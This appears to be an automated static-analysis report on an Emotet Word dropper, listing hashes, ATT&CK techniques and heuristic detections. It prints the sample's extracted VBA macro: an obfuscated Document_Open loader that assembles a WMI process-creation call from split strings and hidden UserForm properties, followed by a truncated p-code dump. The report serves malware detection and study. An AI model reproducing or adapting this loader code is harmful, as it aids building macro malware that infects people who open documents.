Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 eed180c709224d89…

MALICIOUS

Office (OLE)

172.6 KB Created: 2020-07-21 21:35:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 5daf4caf65c9cb99afcc98de4b5e1fcb SHA-1: bd3c2bc99c15cc730692000b80953a6a65354aaa SHA-256: eed180c709224d892fa8a82e0c51bf623d7057a65ca483d45e3d005984dc6588
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro, and uses CreateObject to instantiate objects, indicative of a downloader. The ClamAV detection explicitly names this as 'Doc.Dropper.EmotetIOS-9402070-0', strongly suggesting Emotet. The VBA script constructs a URL using string concatenation, which is then passed to CreateObject, likely to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9785 bytes
SHA-256: d5dd76b50cfb53dafcf1d89c8a3712ffd11f5dcb9a055951362c3214754f0af9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "chejbasvuucwod"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
queetyotxonqueeb
End Sub


Attribute VB_Name = "repleor"
Attribute VB_Base = "0{AA0EBCD2-5129-4982-BE0E-72FF6AD3DBF7}{F50495CE-769C-445C-851E-BA3A84F17C4D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "peexsiotbeix"
Function queetyotxonqueeb()
jalvoadfooylas = Chr(repleor.Zoom + Int(15))
Dim SQiN0ÀkZ4â As Double
woadquaemkaew = "3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23wi3264gyjvgjh^&Fv2b3dsdfffw23nm3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23gmt3264gyjvgjh^&Fv2b3dsdfffw23" + jalvoadfooylas + ":w3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23in3264gyjvgjh^&Fv2b3dsdfffw23323264gyjvgjh^&Fv2b3dsdfffw23_3264gyjvgjh^&Fv2b3dsdfffw23" + repleor.beywoeyxouxnez + "r3264gyjvgjh^&Fv2b3dsdfffw23oc3264gyjvgjh^&Fv2b3dsdfffw23es3264gyjvgjh^&Fv2b3dsdfffw23s3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23"
tierquaothhaug = loepkoappeas(woadquaemkaew)
Dim hZvXd4âE As String
hZvXd4âE = Replace$("YjogUE", "Yjo", "MQtf7Ò")
Set guamfohcheevwaiw = CreateObject(tierquaothhaug)
Dim y4Út As Integer
y4Út = 9
Do While y4Út < 9 + 9
y4Út = y4Út + 9: DoEvents
Loop
joesdoexchouz = repleor.teirzuvsievzaix.ControlTipText
Dim oAF As Integer
oAF = 3
Do While oAF < 3 + 9
oAF = oAF + 9: DoEvents
Loop
feichceej = tierquaothhaug + jalvoadfooylas + repleor.ceirgoog.ControlTipText + joesdoexchouz
Dim hcgKyIb4ÛjC As Integer
hcgKyIb4ÛjC = 5
Do While hcgKyIb4ÛjC < 5 + 5
hcgKyIb4ÛjC = hcgKyIb4ÛjC + 7: DoEvents
Loop
nuawchoefthioch = feichceej + repleor.beywoeyxouxnez
Dim kbbShoFNe As String
kbbShoFNe = Replace$("ev5ÒPMnmcnAU", "ev5ÒPMnmc", "G2ÙPMeK2ËOD")
Set yivzeuf = reejthim(nuawchoefthioch)
Dim Vdu As Object
xc = Array(dew, eed, qed, guamfohcheevwaiw. _
Create(xoutmeajkoon, vachiamchuufrib, yivzeuf), woj, www)
Dim RTyScy As Currency
End Function
Function reejthim(gaisxuuy)
Set reejthim = CreateObject(gaisxuuy)
Dim AQYENtSBaX As String
AQYENtSBaX = Replace$("gjNsI0ÝbqcyTC", "gjNsI0Ýbq", "jFORyh")
reejthim _
. _
showwindow = (meiychoequvoir + neibchoas) + (teibfeik + suquchualmiaj)
Dim rwsuXtFX As Integer
rwsuXtFX = 1
Do While rwsuXtFX < 1 + 1
rwsuXtFX = rwsuXtFX + 7: DoEvents
Loop
End Function
Function loepkoappeas(rouhlanmeat)
dooblieh = rouhlanmeat
Dim kcAag4Hn As String
kcAag4Hn = Replace$("mrkX0ÅyuviuOJL", "mrkX0Åyu", "oLsDGg")
xaupcoal = Split(dooblieh, "3264gyjvgjh^&Fv2b3dsdfffw23")
Dim wBf As Integer
wBf = 7
Do While wBf < 7 + 4
wBf = wBf + 8: DoEvents
Loop
quaekpauwnuhquuul = cvf + Join(xaupcoal, cvf)
Dim JQ5âYJ1ÇiRqo As String
JQ5âYJ1ÇiRqo = Replace$("vAdPbypeHeM6Ô6Ðpe", "vAdPbypeH", "i2ÍLagvF")
loepkoappeas = quaekpauwnuhquuul
Dim w3ÉJ As Long
End Function
Function xoutmeajkoon()
io = repleor.rachgooywouw.Pages(1).ControlTipText
Dim qAgF As String
qAgF = Replace$("aC48ßAlw3ÁSqNYdW", "aC48ßAlw3ÁS", "cZB")
xoutmeajkoon = loepkoappeas(io)
Dim ppu As Date
End Function


' Processing file: /opt/analyzer/scan_staging/35a18b26d77a465bbb33a5daa0e69f6f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/chejbasvuucwod - 1365 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub chejbasvuucwod())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/repleor - 1187 bytes
' Macros/VBA/peexsiotbeix - 5477 bytes
' Line #0:
' 	FuncDefn (Function Document_open())
' Line #1:
' 	Ld repleor 
' 	MemLd Chr 
' 	LitDI2 0x000F 
' 	FnInt 
' 	Add 
' 	ArgsLd jalvoadfooylas 0x0001 
' 	St peexsiotbeix 
' Line #2:
' 	Dim 
' 	VarDefn Zoom (As Double)
' Line #3:
' 	LitS
... (truncated)